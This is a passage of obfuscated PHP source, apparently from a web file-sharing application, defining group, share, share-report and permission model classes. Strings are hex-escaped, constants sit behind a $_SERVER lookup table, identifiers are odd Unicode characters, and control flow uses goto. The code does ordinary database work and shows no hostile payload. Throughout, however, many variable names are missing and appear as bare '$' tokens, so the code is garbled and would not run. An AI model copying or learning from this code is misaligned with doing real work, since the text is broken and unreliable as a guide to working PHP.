$։))->_makeOrder()->selectPage(200); $this->_listDataApply($[$[369]]); return $; } public function listChildIds($ϻ) { $Ԋ =& $_SERVER[ﻻ]; if (is_string($)) { $ϻ = explode($Ԋ[50], $ϻ); } $ = $this->where(array($Ԋ[1867] => array($Ԋ[7], $ϻ)))->field($Ԋ[1959])->select(); if (!$) { return !1; } $͑ = array(); foreach ($ as $Â) { $͑[] = "\163\145\154\x65\x63\x74\x20\147\162\157\165\160\x49\104\x20\x66\162\157\155\40\x60\147\x72\x6f\165\160\140\40\167\x68\x65\162\x65\x20\160\x61\162\x65\x6e\x74\114\145\x76\x65\154\x20\x6c\151\x6b\145\40\x27{$Â[$Ԋ[520]]}{$Â[$Ԋ[1867]]}\x2c\x25\x27"; } $͑ = implode($Ԋ[1960], $͑); $ = $this->query($͑); if (!$) { return array(); } $ϻ = array_to_keyvalue($, $Ԋ[12], $Ԋ[1867]); return array_unique($ϻ); } public function listByID($) { $ =& $_SERVER[ﻻ]; if (!$) { return array(); } $Ś = array($[1867] => array($[7], $)); $ = $this->where($Ś)->select(); $ = array_sort_keep($, $[1867], $); $this->_listDataApply($); return $; } public function listSearch($֕) { $ =& $_SERVER[ﻻ]; $ٿ = $֕[$[1961]]; $ɛ = isset($֕[$[1962]]) ? $֕[$[1962]] : !1; if (!trim($ٿ)) { return !1; } $ٿ = str_replace($[1963], $[1964], $ٿ); $炔 = array($[1867] => array($[383], "{$ٿ}\x25"), $[32] => array($[383], "\x25{$ٿ}\x25"), $[1010] => $[1965]); if ($ɛ) { $襩 = $this->getInfoSimple($ɛ); $˧ = $襩[$[520]] . $ɛ . $[550]; $炔 = array($炔, array($[520] => array($[383], $˧))); } $炔 = $this->parseWhereLike($炔); $Ӆ = $this->_makeOrder()->where($炔)->selectPage(20); $Ӆ = $Ӆ ? $Ӆ : array($[369] => array(), $[366] => array()); if (!$Ӆ || count($Ӆ[$[369]]) < 5 && Input::check($ٿ, $[318])) { $Ҥ = $this->groupChildrenAll($ɛ); $ = $this->_searchFromMeta($[473], $ٿ, 10, $Ҥ); $ = $this->_searchFromMeta($[474], $ٿ, 10, $Ҥ); $ = array_merge($, $, $Ӆ[$[369]]); $Ӆ[$[369]] = array_unique_by_key($, $[1867]); $Ӆ[$[366]][$[367]] = count($Ӆ[$[369]]); $Ӆ[$[366]][$[368]] = ceil($Ӆ[$[366]][$[367]] / $Ӆ[$[366]][$[363]]); } $this->_listDataApply($Ӆ[$[369]]); return $Ӆ; } protected function groupChildrenAll($) { $ĕ =& $_SERVER[ﻻ]; if (!$) { return !1; } if (is_string($)) { $ = array($); } $ʱ = $; foreach ($ as $) { $ = $this->getInfoSimple($); $Ѵ = array($ĕ[520] => array($ĕ[383], $[$ĕ[520]] . $ . $ĕ[550])); $ލ = $this->field($ĕ[1867])->where($Ѵ)->select(); $ʱ = array_merge($ʱ, array_to_keyvalue($ލ, $ĕ[12], $ĕ[1867])); } return array_unique($ʱ); } private function _searchFromMeta($ϳ, $, $, $ͣ) { $ЦϦ =& $_SERVER[ﻻ]; $ = strtolower($); $» = array($ЦϦ[94] => $ϳ, $ЦϦ[374] => array($ЦϦ[383], "\45{$}\45")); $» = $this->parseWhereLike($»); if ($ͣ) { $»[$ЦϦ[1867]] = array($ЦϦ[7], $ͣ); } $ݕʶ = Model($ЦϦ[1966])->where($»)->limit($)->select(); if (!$ݕʶ) { return array(); } $ݕʶ = array_to_keyvalue($ݕʶ, $ЦϦ[12], $ЦϦ[1867]); $ӕ¦ = $this->where(array($ЦϦ[1955] => array($ЦϦ[7], $ݕʶ)))->select(); if (!$ӕ¦) { return array(); } return $ӕ¦; } protected function _listDataApplyItem($ł) { $Ă = array($ł); $this->_listDataApply($Ă); return $Ă[0]; } protected function _listDataApply(&$ѿ) { $ =& $_SERVER[ﻻ]; if (!$ѿ) { return; } $큞 = array_to_keyvalue($ѿ, $[12], $[1867]); $this->_listAppendChildren($ѿ); $this->_listAppendChildrenMember($ѿ); $this->_listAppendMeta($ѿ, $큞); $this->_listAppendParent($ѿ); $this->_listAppendSourceRoot($ѿ, $큞); } private function _listAppendChildren(&$䕣) { $ =& $_SERVER[ﻻ]; $ = array_to_keyvalue($䕣, $[12], $[1867]); $ = array($[441] => array($[7], $)); $ = array($[441], $[1967] => $[500]); $ = $this->field($)->where($)->group($[441])->select(); $ = array_to_keyvalue($, $[441], $[500]); foreach ($䕣 as &$Ւ) { $ = $Ւ[$[1867]]; $Ւ[$[1968]] = isset($[$]) ? intval($[$]) : !1; } unset($Ւ); } private function _listAppendChildrenMember(&$ԗߚ) { $ =& $_SERVER[ﻻ]; $ĵ = array_to_keyvalue($ԗߚ, $[12], $[1867]); $ = array($[1867] => array($[7], $ĵ)); $˩զ = array($[1867], $[1967] => $[500]); $撏 = Model($[1957])->field($˩զ)->where($)->group($[1867])->select(); $書 = array_to_keyvalue($撏 , $[1867], $[500]); foreach ($ԗߚ as &$۪) { $ = $۪[$[1867]]; $۪[$[1969]] = isset($書[$]) ? intval($書[$]) : !1; } unset($۪); } private function _listAppendMeta(&$, $ޠ) { $ =& $_SERVER[ﻻ]; $ = array($[1867] => array($[7], $ޠ)); $ = Model($[1956])->where($)->select(); $ = array_to_keyvalue_group($, $[1867]); foreach ($ as &$̶٧) { $̶٧ = array_to_keyvalue($̶٧, $[94], $[374]); } unset($̶٧); foreach ($ as &$) { $[$[475]] = array(); if (isset($[$[$[1867]]])) { $[$[475]] = $[$[$[1867]]]; } } unset($); } protected function parentLevelArray($ϧ) { $Փ =& $_SERVER[ﻻ]; $ϧ = explode($Փ[50], trim($ϧ, $Փ[50])); $ϧ = array_remove_value($ϧ, $Փ[198]); return $ϧ; } protected function parentInGroup($, $ꌉ) { $ =& $_SERVER[ﻻ]; $ƽ = $this->getInfoSimple($); if (!$ƽ) { return !0; } $ٲ = $this->parentLevelArray($ƽ[$[520]]); $ٲ[] = $; foreach ($ٲ as $) { if (in_array($ . $[12], $ꌉ)) { return !0; } } return !1; } private function _listAppendParent(&$͊ɰ) { $ =& $_SERVER[ﻻ]; $Б = array(); foreach ($͊ɰ as &$) { $Б[$[$[1867]]] = $[$[32]]; $Զ = $this->parentLevelArray($[$[520]]); foreach ($Զ as $ڟ) { if (!isset($Б[$ڟ])) { $Б[$ڟ] = 0; } } } unset($); foreach ($Б as $ٰե => $) { if ($) { continue; } $Ь = $this->getInfoSimple($ٰե); $Б[$ٰե] = $Ь[$[32]]; } $ = $GLOBALS[$[6]][$[89]][$[1970]]; if ($GLOBALS[$[503]] == $[88]) { $ = !1; } foreach ($͊ɰ as &$) { $Զ = $this->parentLevelArray($[$[520]]); $ƨʐ = $[12]; foreach ($Զ as $ٰե => $ڟ) { if ($ && $ٰե == 0) { continue; } $ƨʐ .= $Б[$ڟ] . $[8]; } if ($Զ) { $ƨʐ .= $[$[32]]; } $[$[525]] = str_replace($[528], $[8], $ƨʐ); } unset($); } private function _listAppendSourceRoot(&$, $) { $ =& $_SERVER[ﻻ]; $ = Model($[838])->listSourceRoot(SourceModel::TYPE_GROUP, $); $ = array_to_keyvalue($, $[505]); $ = array_remove_key($, $[505]); foreach ($ as &$彛) { $彛[$[87]] = $[$彛[$[1867]]] ? $[$彛[$[1867]]] : array(); } unset($彛); } protected function groupMerge($ꥭރ) { $ꥭރ = array_values(array_unique($ꥭރ)); $ԞҜ = array(); for ($ = 0; $ < count($ꥭރ); $++) { $ = !1; for ($픹͔ = 0; $픹͔ < count($ꥭރ); $픹͔++) { if ($ == $픹͔) { continue; } if ($this->isParentOf($ꥭރ[$픹͔], $ꥭރ[$])) { $ = !0; break; } } if (!$) { $ԞҜ[] = $ꥭރ[$]; } } return $ԞҜ; } protected function isParentOf($³, $ޘ) { $嚹 =& $_SERVER[ﻻ]; if (!$³ || !$ޘ || $³ == $ޘ) { return !1; } $ǹ = $this->getInfoSimple($³); $Ԯ = $this->getInfoSimple($ޘ); $с = $ǹ[$嚹[520]] . $³ . $嚹[50]; if (substr($Ԯ[$嚹[520]], 0, strlen($с)) == $с) { return !0; } return !1; } public function groupShowRoot($, $Î = false) { $ᜊᴌ =& $_SERVER[ﻻ]; $кٙ = $this->getInfo($); if (!$кٙ) { return array(); } $ԓ = $this->parentLevelArray($кٙ[$ᜊᴌ[520]]); $ʞ = array($); if (count($ԓ) == 0) { return $ʞ; } if ($Î && count($ԓ) == 1) { return $ʞ; } if (!$кٙ[$ᜊᴌ[475]] || !isset($кٙ[$ᜊᴌ[475]][$ᜊᴌ[1953]]) || $кٙ[$ᜊᴌ[475]][$ᜊᴌ[1953]] == $ᜊᴌ[1922]) { return $this->groupShowRoot($ԓ[count($ԓ) - 1], $Î); } if ($кٙ[$ᜊᴌ[475]][$ᜊᴌ[1953]] == $ᜊᴌ[357]) { $٩ = explode($ᜊᴌ[50], $кٙ[$ᜊᴌ[475]][$ᜊᴌ[1954]]); if ($٩) { $ʞ = array_merge($ʞ, $٩); } } return $ʞ; } protected function resetParentLevel() { $ =& $_SERVER[ﻻ]; $踚 = $[1867]; $ = $this->select(); $ = array_to_keyvalue($, $踚); foreach ($ as $) { $ = $; $إތ = array(); while ($[$[441]] != 0) { $إތ[] = $[$[441]]; $ = $[$[$[441]]]; } $إތ[] = 0; $إތ = $[50] . implode($[50], array_reverse($إތ)) . $[50]; $this->setNamePinyin($[$踚], $[$[32]]); $this->where(array($踚 => $[$踚]))->save(array($[589] => $إތ)); } return $; } public function groupNameAuto($, $) { $ =& $_SERVER[ﻻ]; $쫯 = $this->where(array($[410] => $))->getField($[32], !0); if (!$쫯 || !in_array($, $쫯)) { return $; } for ($Ԧݥ = 1; $Ԧݥ <= count($쫯) + 1; $Ԧݥ++) { $Ϛ = $ . "\50{$Ԧݥ}\51"; if (!in_array($Ϛ, $쫯)) { return $Ϛ; } } } public function groupSwitch($, $) { $ڈ =& $_SERVER[ﻻ]; $ܮ = array($ڈ[1867] => array($ڈ[7], array($, $))); $ţ毽 = $this->where($ܮ)->select(); $ţ毽 = array_to_keyvalue($ţ毽, $ڈ[1867]); if (!isset($ţ毽[$]) || !isset($ţ毽[$]) || $ţ毽[$][$ڈ[441]] == 0) { return !1; } $ܮ = array($ڈ[1867] => $); $ằ = Model($ڈ[1957])->where($ܮ)->select(); if (!$ằ) { $ằ = array(); } foreach ($ằ as $ѵ) { $⟄ = $ѵ[$ڈ[1678]]; $ܮ = array($ڈ[1678] => $⟄, $ڈ[1867] => $); $ = Model($ڈ[1957])->where($ܮ)->find(); if (!$) { $ = array($ => $ѵ[$ڈ[1971]]); Model($ڈ[534])->userGroupAdd($⟄, $); } Model($ڈ[534])->userGroupRemove($⟄, $); } $ܮ = array($ڈ[420] => 2, $ڈ[441] => 0, $ڈ[419] => 1, $ڈ[505] => array($ڈ[7], array($, $))); $ = Model($ڈ[838])->where($ܮ)->field($ڈ[1972])->select(); $ = array_to_keyvalue($, $ڈ[505], $ڈ[411]); $⑷Ɠ = !empty($[$]) ? $[$] : !1; if ($⑷Ɠ) { if (!$[$]) { $[$] = Model($ڈ[838])->groupRootAdd($); } $ՙ = $[$]; $ܮ = array($ڈ[441] => $⑷Ɠ); $ = Model($ڈ[838])->where($ܮ)->field($ڈ[1973])->select(); if (!$) { $ = array(); } Model($ڈ[838])->moveClearAuth = !1; foreach ($ as $) { $ = $[$ڈ[419]] == $ڈ[88] ? REPEAT_RENAME_FOLDER : REPEAT_RENAME; Model($ڈ[838])->move($[$ڈ[411]], $ՙ, $); } Model($ڈ[838])->moveClearAuth = !0; $ܮ = array($ڈ[420] => 2, $ڈ[505] => $); $ϣ = array($ڈ[505] => $); Model($ڈ[1974])->where($ܮ)->save($ϣ); Model($ڈ[1975])->where($ܮ)->save($ϣ); } $this->_changeChildLevel($ţ毽[$], $ţ毽[$], !0); $this->where(array($ڈ[441] => $))->save(array($ڈ[441] => $)); $this->_clearChildrenCache($ţ毽[$]); return !0; } } goto bԠЧ; aܭ̡: class ShareModel extends ModelBase { protected $tableName = "\163\x68\x61\162\x65"; protected $dataAuto = array(array("\x6d\157\x64\151\146\171\x54\151\x6d\145", "\x74\151\155\145", "\x69\x6e\163\145\162\x74\x2c\x75\x70\x64\141\164\145", "\146\165\156\143\164\x69\157\x6e"), array("\x63\162\x65\141\x74\145\x54\x69\155\145", "\164\151\155\145", "\151\156\163\145\162\164", "\x66\165\156\143\164\151\157\x6e"), array("\157\160\x74\151\157\156\163", '', "\x69\x6e\163\x65\162\164\x2c\165\160\x64\141\164\x65\54\x73\145\154\145\143\164", "\x6a\x73\x6f\x6e")); private $fieldList = "\52"; protected function cacheFunctionAlias($) { $սΑ =& $_SERVER[ﻻ]; $۪ = isset($[0]) ? $[0] : !1; return array($սΑ[2006] => array(USER_ID, $սΑ[2007]), $սΑ[1947] => array($۪, $սΑ[2008])); } protected function listSimple() { $ = array($_SERVER[ﻻ][1678] => USER_ID); $렌 = $this->field($this->fieldList)->where($)->select(); return $렌 ? $렌 : array(); } protected function getInfo($ٗ, $ = false) { $ =& $_SERVER[ﻻ]; if ($) { return $this->_getShareInfo(array($[602] => $ٗ)); } $ = $this->cacheFunctionGet($[1949], $ٗ); return $; } public function getInfoByHash($ئ) { return $this->_getShareInfo(array($_SERVER[ﻻ][2009] => $ئ)); } public function getInfoByPath($߁) { $ =& $_SERVER[ﻻ]; $Հ = array($[1678] => USER_ID, $[411] => $߁); return $this->_getShareInfo($Հ); } public function getInfoBySourcePath($̵) { $ᴘ =& $_SERVER[ﻻ]; $ = array($ᴘ[1678] => USER_ID, $ᴘ[1185] => $̵); return $this->_getShareInfo($); } private function _getShareInfo($ݫ) { $ =& $_SERVER[ﻻ]; $ = $this->where($ݫ)->find(); if (!$) { return !1; } $ݫ = array($[602] => $[$[602]]); $Մ = $[2010]; $Ӳ = Model($[603])->order($[399])->field($Մ)->where($ݫ)->select(); if ($[$[411]] == $[198]) { $[$[87]] = IO::info($[$[1185]]); } else { $[$[87]] = Model($[1349])->pathInfo($[$[411]]); } $[$[2011]] = $Ӳ; return $; } protected function getInfoAuth($Θ) { $ =& $_SERVER[ﻻ]; $Ѱ = $this->getInfo($Θ); if ($Ѱ[$[1678]] == USER_ID) { $Ѱ[$[422]] = $Ѱ[$[87]][$[422]]; } else { $Ѱ[$[422]] = Model($[502])->authMake($Ѱ[$[2011]]); } return $Ѱ; } protected function listData($̧ = null, $括 = 300) { $ɨ =& $_SERVER[ﻻ]; $ᢞ = array(array($ɨ[497] => array($ɨ[1022], 0), $ɨ[600] => array($ɨ[1022], 0), $ɨ[2012] => $ɨ[1965])); if ($̧ == $ɨ[2013]) { $ᢞ = array($ɨ[497] => 1); } else { if ($̧ == $ɨ[1171]) { $ᢞ = array($ɨ[600] => 1); } } $ᢞ[$ɨ[1678]] = USER_ID; $ = $this->where($ᢞ)->selectPage($括); return $; } protected function listToMe($ = 300) { $ʈ =& $_SERVER[ﻻ]; $衫ދ = Model($ʈ[2014])->userGroupParents(USER_ID); $ = array($ʈ[585] => SourceModel::TYPE_USER, $ʈ[505] => USER_ID); if ($衫ދ) { $ = array(array($ʈ[585] => SourceModel::TYPE_USER, $ʈ[505] => USER_ID), array($ʈ[585] => SourceModel::TYPE_GROUP, $ʈ[505] => array($ʈ[7], $衫ދ)), $ʈ[2012] => $ʈ[1965]); } $ޚ = Model($ʈ[603])->where($)->selectPage($); $ܩ = array_to_keyvalue_group($ޚ[$ʈ[369]], $ʈ[602]); if (!$ܩ) { return $ޚ; } $ = $ʈ[2015]; $ = array($ʈ[602] => array($ʈ[427], array_keys($ܩ)), $ʈ[1678] => array($ʈ[1024], $ʈ[198])); $թ = $this->field($)->where($)->select(); foreach ($թ as $ => &$Ц) { $Ц[$ʈ[2011]] = $ܩ[$Ц[$ʈ[602]]]; } unset($Ц); $Ɯؕ = array($ʈ[2016] => $թ, $ʈ[2017] => $ޚ[$ʈ[366]]); return $Ɯؕ; } protected function shareAdd($, $ק) { $Ⱦ =& $_SERVER[ﻻ]; $ = $this->_addShareData($, $ק); if (!empty($ק[$Ⱦ[2018]])) { $this->_shareAuthSet($, $ק[$Ⱦ[2018]]); } $this->shareEventAdd($, $ק, $Ⱦ[2019]); return $; } protected function shareAddSystem($, $ц) { $ =& $_SERVER[ﻻ]; $Ӝ = $this->_addShareData($, $ц, $[1294]); $this->_shareAuthSet($Ӝ, $ц[$[2018]]); return $Ӝ; } private function shareEventAdd($, $, $ = "\x61\x64\x64") { $ =& $_SERVER[ﻻ]; if (!$ || $ == $[198]) { return; } if ($ == $[2019]) { if ($[$[497]] == $[88]) { Model($[570])->eventShare($, $[2020]); } if ($[$[600]] == $[88]) { Model($[570])->eventShare($, $[2021]); } return; } $ = $this->getInfoByPath($); $ճں = $[2022]; if ($[$[497]] == $[198] && $[$[497]] == $[88]) { $ճں = $[2020]; } if ($[$[497]] == $[88] && $[$[497]] == $[198]) { $ճں = $[2023]; } if ($[$[600]] == $[198] && $[$[600]] == $[88]) { $ճں = $[2021]; } if ($[$[600]] == $[88] && $[$[600]] == $[198]) { $ճں = $[2024]; } Model($[570])->eventShare($, $ճں); return; } private function _addShareData($, $߫Ɇ = array(), $؟ = false) { $ꏾ =& $_SERVER[ﻻ]; $ȃ = $؟ == $ꏾ[1294] ? 0 : USER_ID; $ײ = array($ꏾ[426] => $, $ꏾ[1669] => $ȃ); if ($ == 0) { $ײ = array($ꏾ[2025] => $߫Ɇ[$ꏾ[1185]], $ꏾ[1669] => $ȃ); } if ($ = $this->where($ײ)->find()) { return $[$ꏾ[602]]; } if ($ == 0) { $ө = array($ꏾ[32] => get_path_this($߫Ɇ[$ꏾ[84]])); } else { $ө = Model($ꏾ[838])->sourceInfo($); if (!$ө) { return !1; } } if (!$߫Ɇ[$ꏾ[1576]]) { $߫Ɇ[$ꏾ[1576]] = $ө[$ꏾ[32]]; } $ = array($ꏾ[1669] => $ȃ, $ꏾ[426] => $, $ꏾ[1576] => $ꏾ[12], $ꏾ[497] => 0, $ꏾ[600] => 0, $ꏾ[1185] => $ꏾ[12], $ꏾ[307] => $ꏾ[12], $ꏾ[899] => $ꏾ[12], $ꏾ[2026] => 0, $ꏾ[2027] => 0, $ꏾ[774] => 0, $ꏾ[2028] => $ꏾ[12], $ꏾ[2009] => $ꏾ[12]); $ۈ = explode($ꏾ[50], $ꏾ[2029]); foreach ($ۈ as $) { if (!isset($߫Ɇ[$])) { continue; } $[$] = $߫Ɇ[$]; } $ = $this->add($); $ = array($ꏾ[2009] => short_id($)); $this->where(array($ꏾ[2030] => $))->save($); return $; } private function _shareAuthSet($, $) { $҂ =& $_SERVER[ﻻ]; if (!is_array($)) { return !1; } $т = Model($҂[1975]); $т->where(array($҂[602] => $))->delete(); $ȡ = array(); foreach ($ as $܅) { $ = SourceModel::TYPE_USER; if ($܅[$҂[420]] == SourceModel::TYPE_GROUP) { $ = SourceModel::TYPE_GROUP; } $ = array($҂[602] => $, $҂[420] => $, $҂[505] => intval($܅[$҂[505]]), $҂[1971] => 0, $҂[2031] => -1); if ($܅[$҂[1971]]) { $[$҂[1971]] = $܅[$҂[1971]]; } else { if ($܅[$҂[2031]]) { $[$҂[2031]] = $܅[$҂[2031]]; } } $ȡ[] = $; } return $т->addAll($ȡ, array(), !0); } public function numViewAdd($雠) { $ =& $_SERVER[ﻻ]; $Ŀ = array($[2030] => $雠); $this->where($Ŀ)->setAdd($[2026]); } public function numDownloadAdd($) { $ƨ =& $_SERVER[ﻻ]; $ۉ = array($ƨ[2030] => $); $this->where($ۉ)->setAdd($ƨ[2027]); } protected function shareEdit($ȥ, $) { $ =& $_SERVER[ﻻ]; $ө = $this->getInfo($ȥ); if (!$ө) { return !1; } $this->_checkLinkShare($, $ө); $៹ = array(); $ = explode($[50], $[2032]); foreach ($ as $) { if (!array_key_exists($, $)) { continue; } $៹[$] = $[$]; } $this->shareEventAdd($ө[$[411]], $, $[1837]); $this->where(array($[2030] => $ȥ))->save($៹); if (isset($[$[2018]])) { $this->_shareAuthSet($ȥ, $[$[2018]]); } return !0; } private function _checkLinkShare($, $) { $ =& $_SERVER[ﻻ]; if ($[$[497]] != $[88]) { return; } $ = $[$[87]][$[411]]; if ($[$[87]][$[33]] != $[200]) { $Ү = $this->_folderReport($); if (!$Ү) { return; } show_json(LNG($[2033]) . $[2034] . $Ү, !1); } $ = Model($[838])->fileInfoGet($[$[87]][$[411]]); if (!$) { return; } $ = $this->shareFileMeta($[$[477]]); if (isset($[$[374]]) && $[$[374]] == $[88]) { show_json(LNG($[2035]), !1); } } private function _folderReport($) { $ =& $_SERVER[ﻻ]; $Ң = array($[477] => array($[1022], 0), $[762] => 3); $ = Model($[2036])->where($Ң)->field($[477])->select(); if (!$) { return !1; } $ = array_to_keyvalue($, $[12], $[477]); $ = $[50] . $ . $[50]; $Ң = array($[477] => array($[7], $), $[520] => array($[383], "\x25{$}\x25"), $[440] => 0); $ո = Model($[838])->where($Ң)->field($[2037])->find(); if (!$ո) { return !1; } $嘝 = substr($ո[$[520]], strpos($ո[$[520]], $)); $Ң = array($[411] => array($[7], trim($嘝, $[50]))); $ = Model($[838])->where($Ң)->field($[32])->select(); $؊ = array_to_keyvalue($, $[12], $[32]); $؊[] = $ո[$[32]]; return implode($[8], $؊); } protected function remove($) { $ʘ =& $_SERVER[ﻻ]; if (is_array($)) { $ = array($ʘ[7], $); } $Ǫڶ = array($ʘ[602] => $); $㺌 = $this->where($Ǫڶ)->delete(); if ($㺌) { Model($ʘ[603])->where(array($ʘ[602] => $))->delete(); } $ = is_array($) ? $[1] : array($); for ($߮̀ = 0; $߮̀ < count($); $߮̀++) { $ = $this->getInfo($[$߮̀]); if ($[$ʘ[600]] == $ʘ[88]) { Model($ʘ[570])->eventShare($[$ʘ[411]], $ʘ[2024]); } if ($[$ʘ[497]] == $ʘ[88]) { Model($ʘ[570])->eventShare($[$ʘ[411]], $ʘ[2023]); } } return $㺌; } protected function removeBySource($ܢ) { $ =& $_SERVER[ﻻ]; $Ć = array($[426] => array($[427], $ܢ)); $π = $this->field($[602])->where($Ć)->select(); $π = array_to_keyvalue($π, $[12], $[602]); if (!$π) { return; } $Ć = array($[2030] => array($[427], $π)); $this->where($Ć)->delete(); Model($[603])->where($Ć)->delete(); } public function listAll($ӣ) { $ǰ =& $_SERVER[ﻻ]; $ = array(); if ($ӣ[$ǰ[1678]]) { $[$ǰ[1678]] = $ӣ[$ǰ[1678]]; } if ($ӣ[$ǰ[773]]) { $ = $ӣ[$ǰ[774]] ? $ӣ[$ǰ[774]] : strtotime(date($ǰ[2038])); $[$ǰ[201]] = array($ǰ[333], array($ӣ[$ǰ[773]], $)); } if ($ӣ[$ǰ[33]]) { $[$ӣ[$ǰ[33]]] = 1; } else { $[] = array($ǰ[497] => array($ǰ[1022], 0), $ǰ[600] => array($ǰ[1022], 0), $ǰ[2012] => $ǰ[1965]); } if ($ӣ[$ǰ[1961]]) { $[] = array($ǰ[2009] => $ӣ[$ǰ[1961]], $ǰ[1576] => array($ǰ[383], "\45{$ӣ[$ǰ[1961]]}\45"), $ǰ[2012] => $ǰ[1965]); } $ɲǠ = $this->_makeOrder()->where($)->selectPage(20); if (empty($ɲǠ[$ǰ[369]])) { return array(); } $this->_listDataApply($ɲǠ[$ǰ[369]]); return $ɲǠ; } public function listDataApply($) { $this->_listDataApply($); return $; } private function _listDataApply(&$) { $̐ =& $_SERVER[ﻻ]; $ɕŢ = array_to_keyvalue($, $̐[12], $̐[1678]); $ܠ݊ = Model($̐[534])->userListInfo(array_unique($ɕŢ)); $ = array_to_keyvalue($, $̐[12], $̐[411]); $ = Model($̐[838])->sourceListInfo($, !0); foreach ($ as $ => &$߈߶) { $ = $߈߶[$̐[1678]]; $߈߶[$̐[2039]] = $ܠ݊[$] ? $ܠ݊[$] : !1; $ſ = $߈߶[$̐[411]]; $߈߶[$̐[87]] = $[$ſ] ? $[$ſ] : !1; if ($߈߶[$̐[87]][$̐[440]] == $̐[88]) { unset($[$]); } if ($߈߶[$̐[87]] != $̐[198] && !$߈߶[$̐[87]]) { unset($[$]); } } unset($߈߶); $ = array_values($); } private function _makeOrder($ = '') { $ =& $_SERVER[ﻻ]; $ȁϘ = array($[201], $[774], $[2026], $[2027]); $ = array($[459] => $[460], $[461] => $[462]); $ƴέ = Input::get($[466], $[7], $[432], $ȁϘ); $۬ = Input::get($[467], $[7], $[2040], array($[1958], $[461])); $۬ = $[$۬]; $ = $ . "{$ƴέ}\40{$۬}"; return $this->order($); } public function reportAdd($䃤) { $ =& $_SERVER[ﻻ]; $Ү = array($[602] => $䃤[$[602]], $[1678] => USER_ID); if (Model($[2036])->where($Ү)->find()) { return !1; } $ = array($[602] => $䃤[$[602]], $[1576] => $䃤[$[1576]], $[411] => $䃤[$[411]], $[477] => $䃤[$[477]], $[1678] => USER_ID, $[33] => $䃤[$[33]], $[462] => $䃤[$[462]]); return Model($[2036])->add($); } public function reportList($Վ) { $ =& $_SERVER[ﻻ]; $ӽ = array(); if ($Վ[$[773]]) { $ = $Վ[$[774]] ? $Վ[$[774]] : strtotime(date($[2038])); $ӽ[$[201]] = array($[333], array($Վ[$[773]], $)); } if (isset($Վ[$[33]]) && in_array($Վ[$[33]], array($[88], $[446], $[2041], $[2042], $[2043]))) { $ӽ[$[33]] = $Վ[$[33]]; } if (isset($Վ[$[762]]) && in_array($Վ[$[762]], array($[198], $[88], $[446], $[2041]))) { $ӽ[$[762]] = $Վ[$[762]]; } $ = Input::get($[467], $[7], $[2040], array($[1958], $[461])); $径 = array($[459] => $[460], $[461] => $[462]); $ = $[2044] . $径[$]; $ӗ = Model($[2036])->where($ӽ)->order($)->selectPage(20); if (empty($ӗ[$[369]])) { return array(); } $ȿ = array_to_keyvalue_group($ӗ[$[369]], $[762], $[602]); if (!empty($ȿ[0])) { $Վ = $ȿ[0]; $ӽ = array($[602] => array($[7], $Վ)); $Ĉƹ = $this->where($ӽ)->field($[602])->select(); $Ĉƹ = array_to_keyvalue($Ĉƹ, $[12], $[602]); $ݜ = array_diff($Վ, $Ĉƹ); if (!empty($ݜ)) { foreach ($ӗ[$[369]] as $ => $険) { if (in_array($険[$[602]], $ݜ)) { unset($ӗ[$[369]][$]); } } } } $this->_listDataApply($ӗ[$[369]]); return $ӗ; } public function reportStatus($ۤ) { $ =& $_SERVER[ﻻ]; $ʼ = array($[399] => $ۤ[$[399]]); $ = Model($[2036])->where($ʼ)->field($[2045])->find(); if (!$) { return !1; } $ӕރ = array($[762] => $ۤ[$[762]]); if ($ۤ[$[762]] == $[2041] && $[$[762]] == $[2041]) { $ӕރ[$[762]] = 0; } $ = Model($[2036])->where($ʼ)->save($ӕރ); if ($ۤ[$[762]] == $[446]) { if ($[$[477]] != $[198] && $this->shareFileMeta($[$[477]])) { $this->shareFileMeta($[$[477]], 0); } $this->remove($[$[602]]); return !0; } if ($ && $ۤ[$[762]] == $[2041]) { $õ = $ӕރ[$[762]] == $[2041] ? 1 : 0; $this->shareFileMeta($[$[477]], $õ); $this->removeByFile($[$[477]]); } return $; } private function removeByFile($ę) { $큄ɿ =& $_SERVER[ﻻ]; $ = Model($큄ɿ[838])->where(array($큄ɿ[477] => $ę))->field($큄ɿ[411])->select(); $ = array_to_keyvalue($, $큄ɿ[12], $큄ɿ[411]); $ = array($큄ɿ[411] => array($큄ɿ[7], $), $큄ɿ[497] => 1); $ = $this->where($)->field($큄ɿ[602])->select(); if (empty($)) { return; } $ܔ = array_to_keyvalue($, $큄ɿ[12], $큄ɿ[602]); $this->remove($ܔ); } private function shareFileMeta($ȧ, $ = null) { $ =& $_SERVER[ﻻ]; $ٵؐ = array($[477] => $ȧ, $[94] => $[2046]); if (is_null($)) { return Model($[2047])->where($ٵؐ)->find(); } $ٵؐ[$[374]] = $; Model($[2047])->add($ٵؐ, array(), !0); } } class SourceAuthModel extends ModelBase { protected $tableName = "\151\x6f\x5f\x73\157\x75\162\x63\145\137\141\165\x74\150"; public function getAuth($ُ) { $И =& $_SERVER[ﻻ]; $ = $this->sourceAuthSelect($ُ); $Ï = array(); $ = array(); $ˇ = 2 << 25; foreach ($ as $⑸䰮) { $ = Model($И[507])->listData($⑸䰮[$И[1971]]); if (!$) { continue; } $Ï[] = $⑸䰮; $ = 0; if ($⑸䰮[$И[420]] == SourceModel::TYPE_GROUP) { $ = $ˇ * 2; } if ($⑸䰮[$И[420]] == SourceModel::TYPE_USER) { $ = $ˇ; } if ($⑸䰮[$И[420]] == SourceModel::TYPE_USER && $⑸䰮[$И[505]] == $И[198]) { $ = 0; } $[] = $[$И[422]] + $; } array_multisort($, SORT_DESC, $Ï); return $Ï; } public function sourceAuthSelect($ڿ) { $Ҫ =& $_SERVER[ﻻ]; static $ = array(); $۩ = is_array($ڿ) ? !1 : !0; if ($۩) { $ڿ = array($ڿ); } $χ = array(); foreach ($ڿ as $؇) { if (isset($[$؇])) { $χ[$؇] = $[$؇]; } } if (count($χ) == count($ڿ)) { return $۩ ? $χ[$ڿ[0]] : $χ; } $瓩 = $Ҫ[2048]; $ԙ = array($Ҫ[411] => array($Ҫ[7], $ڿ)); $ = $this->field($瓩)->order($Ҫ[399])->where($ԙ)->select(); $⓸ = array_to_keyvalue_group($, $Ҫ[411]); foreach ($ڿ as $؇) { $[$؇] = $⓸[$؇] ? $⓸[$؇] : array(); } if ($۩) { return $; } return $⓸; } public function setAuth($, $Ҫ) { $۬В =& $_SERVER[ﻻ]; $ߥ = Model($۬В[1349])->sourceInfo($); if (!$ߥ) { return !1; } if ($ߥ[$۬В[420]] != SourceModel::TYPE_GROUP) { return !1; } $ֲك = 1; $ = $ߥ[$۬В[505]]; if ($ != $ֲك) { $ම = array($۬В[1867] => $); $唫 = Model($۬В[1957])->field($۬В[1678])->where($ම)->select(); $唫 = 